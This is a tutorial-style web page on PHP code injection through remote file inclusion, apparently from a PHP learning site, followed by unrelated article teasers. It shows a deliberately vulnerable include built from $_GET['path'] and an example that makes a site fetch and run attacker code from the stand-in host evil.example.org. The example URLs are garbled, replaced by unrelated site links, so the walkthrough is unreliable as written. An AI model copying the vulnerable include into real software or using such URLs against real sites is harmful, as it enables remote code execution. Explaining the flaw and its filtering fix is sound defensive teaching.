PHP Security-Code Injection
Code Injection
A particularly dangerous situation is when you try to use tainted data as the leading part of a dynamic include:
<?php
include "{$_GET['path']}/header.inc";
?>
In this scenario an attacker can manipulate not only the file name, but also the contained resources. Since PHP can not only include files by default, it can also include the following resources (controlled by allow_url_fopen in the configuration file):
<?php include 'http://www.google.com/'; ?>
The include statement will include the web page source code of http://www.php.cn/ as a local file at this time. While the above example is harmless, imagine what would happen if the source code returned by GOOGLE contained PHP code. This way the PHP code contained within it will be parsed and executed. This is an opportunity for attackers to release malicious code to defeat your security system.
Imagine that the path value points to the following resource controlled by the attacker:
http://www.php.cn/ ... e.org%2Fevil.inc%3F
In the above example, the value of path is URL encoded, and the original value is as follows:
http://www.php.cn/
This causes the include statement to include and execute the script selected by the attacker (evil.inc), and the original file name/header.inc will be considered a request string:
<?php include "http://evil.example.org/evil.inc?/header.inc"; ?>
This avoids the need for the attacker to guess the remaining directory and filename (/header.onc) and create the same path and filename on evil.example.org. On the contrary, when the specific file name of the attacked website is blocked, he only needs to ensure that evil.inc outputs the legal code he wants to execute.
This situation is just as dangerous as allowing an attacker to modify the PHP code directly on your website. Fortunately, this can be prevented by filtering the data before the include and require statements:
<?php
$clean = array();
/* $_GET['path'] is filtered and stored in
$clean['path']. */
include "{$clean['path']}/header.inc";
?>

PHP: A Key Language for Web Development
Apr 13, 2025 am 12:08 AM
PHP is a scripting language widely used on the server side, especially suitable for web development. 1.PHP can embed HTML, process HTTP requests and responses, and supports a variety of databases. 2.PHP is used to generate dynamic web content, process form data, access databases, etc., with strong community support and open source resources. 3. PHP is an interpreted language, and the execution process includes lexical analysis, grammatical analysis, compilation and execution. 4.PHP can be combined with MySQL for advanced applications such as user registration systems. 5. When debugging PHP, you can use functions such as error_reporting() and var_dump(). 6. Optimize PHP code to use caching mechanisms, optimize database queries and use built-in functions. 7

PHP and Python have their own advantages and disadvantages, and the choice depends on project needs and personal preferences. 1.PHP is suitable for rapid development and maintenance of large-scale web applications. 2. Python dominates the field of data science and machine learning.
PHP: Handling Databases and Server-Side Logic
Apr 15, 2025 am 12:15 AM
PHP uses MySQLi and PDO extensions to interact in database operations and server-side logic processing, and processes server-side logic through functions such as session management. 1) Use MySQLi or PDO to connect to the database and execute SQL queries. 2) Handle HTTP requests and user status through session management and other functions. 3) Use transactions to ensure the atomicity of database operations. 4) Prevent SQL injection, use exception handling and closing connections for debugging. 5) Optimize performance through indexing and cache, write highly readable code and perform error handling.
